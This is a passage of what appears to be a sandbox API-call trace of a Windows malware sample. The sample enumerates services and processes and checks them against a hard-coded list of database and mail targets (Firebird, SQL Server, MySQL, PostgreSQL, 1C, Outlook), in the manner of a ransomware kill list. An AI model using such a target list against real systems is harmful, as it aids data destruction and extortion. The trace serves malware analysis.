(lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0148.383] lstrlenW (lpString="netprofm") returned 8 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0148.383] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0148.383] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0148.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0148.383] lstrlenW (lpString="NlaSvc") returned 6 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0148.383] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0148.383] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0148.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0148.383] lstrlenW (lpString="nsi") returned 3 [0148.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0148.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0148.384] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0148.384] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0148.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0148.384] lstrlenW (lpString="PcaSvc") returned 6 [0148.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0148.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0148.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0148.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0148.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0148.384] lstrlenW (lpString="PlugPlay") returned 8 [0148.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0148.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0148.384] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0148.384] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0148.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0148.384] lstrlenW (lpString="Power") returned 5 [0148.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0148.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0148.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0148.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0148.385] lstrlenW (lpString="ProfSvc") returned 7 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0148.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0148.385] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0148.385] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0148.385] lstrlenW (lpString="RpcEptMapper") returned 12 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0148.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0148.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0148.385] lstrlenW (lpString="RpcSs") returned 5 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0148.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0148.385] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0148.385] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0148.385] lstrlenW (lpString="SamSs") returned 5 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0148.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0148.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0148.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0148.385] lstrlenW (lpString="Schedule") returned 8 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0148.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0148.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0148.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0148.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0148.385] lstrlenW (lpString="SENS") returned 4 [0148.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0148.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0148.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0148.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0148.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0148.386] lstrlenW (lpString="ShellHWDetection") returned 16 [0148.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0148.386] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0148.386] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0148.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0148.386] lstrlenW (lpString="Spooler") returned 7 [0148.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0148.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0148.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0148.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0148.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0148.386] lstrlenW (lpString="SysMain") returned 7 [0148.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0148.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0148.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0148.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0148.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0148.386] lstrlenW (lpString="Themes") returned 6 [0148.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0148.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0148.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0148.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0148.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0148.387] lstrlenW (lpString="TrkWks") returned 6 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0148.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0148.387] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0148.387] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0148.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0148.387] lstrlenW (lpString="UxSms") returned 5 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0148.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0148.387] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0148.387] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0148.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0148.387] lstrlenW (lpString="WdiServiceHost") returned 14 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0148.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0148.387] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0148.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0148.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0148.387] lstrlenW (lpString="WdiSystemHost") returned 13 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0148.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0148.387] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0148.387] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0148.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0148.387] lstrlenW (lpString="Winmgmt") returned 7 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0148.387] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0148.387] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0148.387] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0148.387] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0148.387] lstrlenW (lpString="WPDBusEnum") returned 10 [0148.387] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0148.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0148.388] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0148.388] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0148.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0148.388] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0148.388] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x340 [0148.389] Process32FirstW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0148.390] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0148.390] lstrlenW (lpString="System") returned 6 [0148.390] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0148.390] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0148.390] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0148.391] lstrlenW (lpString="smss.exe") returned 8 [0148.391] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0148.391] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.391] lstrlenW (lpString="csrss.exe") returned 9 [0148.391] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.391] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.391] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.391] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.391] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.391] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.391] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0148.392] lstrlenW (lpString="wininit.exe") returned 11 [0148.392] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0148.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0148.392] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0148.392] lstrlenW (lpString="csrss.exe") returned 9 [0148.392] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0148.392] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0148.392] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0148.392] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0148.392] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0148.392] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0148.392] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0148.392] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0148.393] lstrlenW (lpString="winlogon.exe") returned 12 [0148.393] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0148.393] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0148.393] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0148.393] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0148.393] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0148.393] lstrlenW (lpString="services.exe") returned 12 [0148.393] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0148.394] lstrlenW (lpString="lsass.exe") returned 9 [0148.394] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0148.394] lstrlenW (lpString="lsm.exe") returned 7 [0148.394] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.394] lstrlenW (lpString="svchost.exe") returned 11 [0148.394] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.395] lstrlenW (lpString="svchost.exe") returned 11 [0148.395] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.395] lstrlenW (lpString="svchost.exe") returned 11 [0148.395] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.395] lstrlenW (lpString="svchost.exe") returned 11 [0148.395] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.396] lstrlenW (lpString="svchost.exe") returned 11 [0148.396] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0148.396] lstrlenW (lpString="audiodg.exe") returned 11 [0148.396] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.396] lstrlenW (lpString="svchost.exe") returned 11 [0148.396] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.397] lstrlenW (lpString="svchost.exe") returned 11 [0148.397] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0148.397] lstrlenW (lpString="spoolsv.exe") returned 11 [0148.397] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0148.397] lstrlenW (lpString="taskhost.exe") returned 12 [0148.397] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0148.398] lstrlenW (lpString="svchost.exe") returned 11 [0148.398] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0148.398] lstrlenW (lpString="userinit.exe") returned 12 [0148.398] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0148.398] lstrlenW (lpString="dwm.exe") returned 7 [0148.398] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0148.399] lstrlenW (lpString="explorer.exe") returned 12 [0148.399] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0148.399] lstrlenW (lpString="3G6885.exe") returned 10 [0148.399] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0148.399] lstrlenW (lpString="reader_sl.exe") returned 13 [0148.399] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0148.400] lstrlenW (lpString="drvinst.exe") returned 11 [0148.400] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0148.400] lstrlenW (lpString="taskhost.exe") returned 12 [0148.400] Process32NextW (in: hSnapshot=0x340, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0148.400] CloseHandle (hObject=0x340) returned 1 [0148.400] Sleep (dwMilliseconds=0x1f4) [0149.078] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d8b08 [0149.079] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0149.079] GetLastError () returned 0xea [0149.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x113e) returned 0x42ddf88 [0149.079] EnumServicesStatusExW (in: hSCManager=0x41d8b08, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42ddf88, cbBufSize=0x113e, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42ddf88, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0149.080] CloseServiceHandle (hSCObject=0x41d8b08) returned 1 [0149.080] lstrlenW (lpString="Appinfo") returned 7 [0149.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0149.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0149.080] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0149.080] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0149.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0149.080] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0149.080] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.080] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0149.080] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0149.080] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0149.080] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0149.080] lstrlenW (lpString="AudioSrv") returned 8 [0149.081] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0149.081] lstrcmpiW 